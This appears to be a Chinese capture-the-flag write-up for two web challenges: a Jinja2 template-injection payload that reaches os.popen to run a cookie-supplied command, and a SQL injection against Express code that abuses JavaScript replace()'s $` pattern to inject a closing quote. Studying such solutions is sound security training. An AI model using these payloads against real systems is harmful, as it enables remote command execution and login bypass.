WEB1 题目来源:西湖论剑2025
题目类型:WEB
设计考点:SSTI
WEB1
Payload:
1 {%for i in '' .__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close' %}{%print i.__init__.__globals__['popen' ](request.cookies.x).read()%}{%endif%}{%endfor%}
首先分析页面,给了一个登录页面
发现登录之后会提示某某账号不存在或者密码错误,看到他的response包
发现他是用python写的后端,猜测可能是SSTI漏洞 直接打payload,测试发现/斜杠被过滤,用request.cookie.x绕过即可
1 {%for i in '' .__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close' %}{%print i.__init__.__globals__['popen' ](request.cookies.x).read()%}{%endif%}{%endfor%}
WEB2 题目来源:西湖论剑2025
题目类型:WEB
设计考点:JS框架,replace函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 var express = require ('express' );var router = express.Router ();module .exports = router; router.get ('/' ,(req,res,next )=> { if (req.query .info ){ if (req.url .match (/\,/ig )){ res.end ('hacker1!' ); } var info = JSON .parse (req.query .info ); if (info.username &&info.password ){ var username = info.username ; var password = info.password ; if (info.username .match (/\'|\"|\\/ ) || info.password .match (/\'|\"|\\/ )){ res.end ('hacker2!' ); } var sql = "select * from userinfo where username = '{username}' and password = '{password}'" ; sql = sql.replace ("{username}" ,username); sql = sql.replace ("{password}" ,password); connection.query (sql,function (err,rs ) { if (err) { res.end ('error1' ); } else { if (rs.length >0 ){ res.sendFile ('/flag' ); }else { res.end ('username or password error' ); } } }) } else { res.end ("please input the data" ); } } else { res.end ("please input the data" ); } })
题目需要传入一个info值,格式是json,但是$req.url$后面过滤了逗号,这里用URL编码绕过, 继续审计后面,一个SQL语句,把我们传入的username还有password过滤后拼接到语句当中,但是把闭合符都给过滤了,这里引入JavaScript中replace的一个知识点
我们这里就是用$`来过滤
1 2 3 4 5 6 $` 例子: var a ="i am not a dog dog" a =a .replace ("dog" ,"$`cat" ) 他后面的pattern值应该是找到第一个和dog匹配的位置,然后把$`替换成这个位置之前的字符串 所以pattern=i am not a cat 然后把a 当中的dog替换成pattern
1 2 3 所以我们这里的$`可以识别成select * from userinfo where username = ', 这里有一个单引号可以用来闭合 构造payload {"username" :"$` or 1=1 --+" %2 c "password" :"1" }
参考WP:https://mp.weixin.qq.com/s/jV-mrqFJOqSBlBDXRaEjqw